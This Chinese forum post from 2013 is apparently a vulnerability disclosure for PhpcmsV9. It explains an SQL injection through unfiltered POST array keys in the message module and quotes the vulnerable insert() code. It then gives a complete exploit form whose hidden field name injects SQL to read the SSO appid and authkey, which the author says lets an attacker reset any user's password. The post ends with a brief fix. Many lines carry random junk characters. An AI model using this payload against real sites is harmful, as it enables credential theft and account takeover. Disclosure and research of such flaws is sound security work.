找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2394|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:' q( V/ L/ x; d/ \! p

0 s3 P5 H  ]7 A# V7 }: m" j第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
' m: Z# k' q; E, J3 @: ]+ M2 ^  b
( C+ p- W# r! ^+ y! V& y% ^5 S明天再更新下一个漏洞。
% w: Q$ c9 u# `* B1 V3 K& D详细说明:
# a5 d+ ]5 \! d3 \9 l在/phpcms9/phpcms/modules/message/index.php中有代码如下:( w' I! w# D8 D, v1 Y2 B  v

; P" F0 p: k3 x2 X  d) T5 L$messageid = $this->message_db->insert($_POST['info'],true);
8 `) q  c7 M( A% j) a0 N& J2 t- V$ j. D
# V0 V) {3 }, Z% K4 R& Z" H
insert方法是key value的,代码如下:
! m+ l: \# b( E- D) ~* {6 C$ w8 e+ R9 G) I8 n9 J
public function insert($data, $table, $return_insert_id = false, $replace = false) {
" E* i" e+ M+ d                if(!is_array( $data ) || $table == '' || count($data) == 0) {- N& o" G5 e9 L* g- z: C- x
                        return false;
- P. V. Z7 B4 {# Q) C4 b2 b                }
7 y" C0 \0 X! P; ]/ W, ^% w! d8 @, Z               
. C# p; T8 p8 F' |( O2 z$ I9 {6 v                $fielddata = array_keys($data);
2 q7 s, @( Q9 C$ X* W/ y9 m                $valuedata = array_values($data);  C: r) Y: j& H7 S
                array_walk($fielddata, array($this, 'add_special_char'));# h& ]0 Z" e5 X2 N+ w  ^1 S
                array_walk($valuedata, array($this, 'escape_string'));: m( Y( x; ~% o; n5 Z
               
# D" S1 d4 N; h; y' [- @$ L                $field = implode (',', $fielddata);
. [; X8 ~0 a0 H  X0 V" N: V                $value = implode (',', $valuedata);
2 k8 V6 X9 E0 g. e# G! h
; ^6 g  `2 Y# R7 [# ?% L2 b                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';0 x) ?% Z: R2 x" `3 C
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
0 d3 M+ {' k: E% y; m1 Q                $return = $this->execute($sql);
1 g' ?* G2 G! r# u, W( J& ?                return $return_insert_id ? $this->insert_id() : $return;
) C9 C3 f- q% B        }" V4 E) S5 Z( F% X2 F' |

# z7 w/ q5 n/ X0 F$ K# S+ n/ p' ]' w- Z
嗯,很遗憾的是+ j7 I8 \$ d& m
' L( M7 ~  b* j6 U
array_walk($fielddata, array($this, 'add_special_char'));
6 ^8 R( Y7 E6 M( U
3 H6 h* @, b6 C' n/ f
/ J. Q4 A+ u/ R8 \( N' d中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
0 P2 w1 _! M" v! E* B% }( C; c' P' A- M; X/ q
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。/ }$ i* E/ y5 q8 {9 T: R

% V5 Q. b6 o& |漏洞证明:
" V' m1 j" q- H& D+ z读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
/ Z3 Z7 D( l; `2 \7 v! F
  h6 x: C% U, C8 z
. S" _+ u# Q! ~$ l: \表单如下:用户名什么的得自己改一改。
; x4 G6 C( X1 b* n  O8 X% ~: o<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
7 n4 M7 K& u  w( u7 U% Z<table width="100%" cellspacing="0" class="table_form">) Y8 W  N! C' t- J: {& z
<tr>; r6 D3 U( N6 b, P( ?
<th>标 题:</th>
& @7 |% C) [+ n- q<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>* N8 \6 }* \, x) [
</tr>
3 q( l. h, |, q" g: n8 E* h% L$ i<tr>, a: Z" E) u, w0 ]1 R/ I
<th>内 容:</th>; y' `; I* c& c) w, T% H: G! O
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
* D# R0 p& y; f. s9 r</tr>
% q# l, q$ K% u3 t2 P<input type="hidden" name="info[replyid]" value="2" />
0 U( Y+ R& k% l/ i! f( E5 _<input type="hidden" name="info[send_to_id]" value="cc" /> 0 |2 Z3 t6 H) Q! t$ W  n
<input type="hidden" name="info[send_from_id]" value="hh">: y& x- y+ u, Y# w  q
<!-- 漏洞的利用重点在这里开始 -->
. S0 N0 F1 \: Z  d" |<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> * U6 k! y( a. \" d) o- W
<!-- 漏洞的利用重点在这里结束 -->) J) k4 ]3 d1 l1 A$ D, d! _& K
<tr>0 L. q& N" q) V9 W3 W! f9 f) J
<th>验证码:</th>
* A, R5 e# t9 @9 i3 V0 x<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>( h0 S1 g- g3 R( {; M4 u# G
</tr>
3 z: W) ~5 z/ L7 B; k0 \* s' {<tr>
2 H) W, R: Z& L  k3 J<td></td>5 C0 D; q: @7 o4 D6 p
<td colspan="2"><label>
: P7 c" y5 ^. E, Q<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
& _- O7 D4 W* ~2 H</label></td>
6 O3 ^, ?8 \$ Y! U/ _</tr>
" T3 M! Y! w# r$ _</table>9 m" E; k& G, s6 [
</form>8 k) Y6 o# J  W- u) D2 K
在add_special_char函数内对key做过滤就可以了。+ W0 d! j/ x4 M. \
3 Z/ G  m( Z. b1 H' G
! S2 t* @' B5 U% V! N" C* X

. H! n7 ]+ `3 i9 M

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表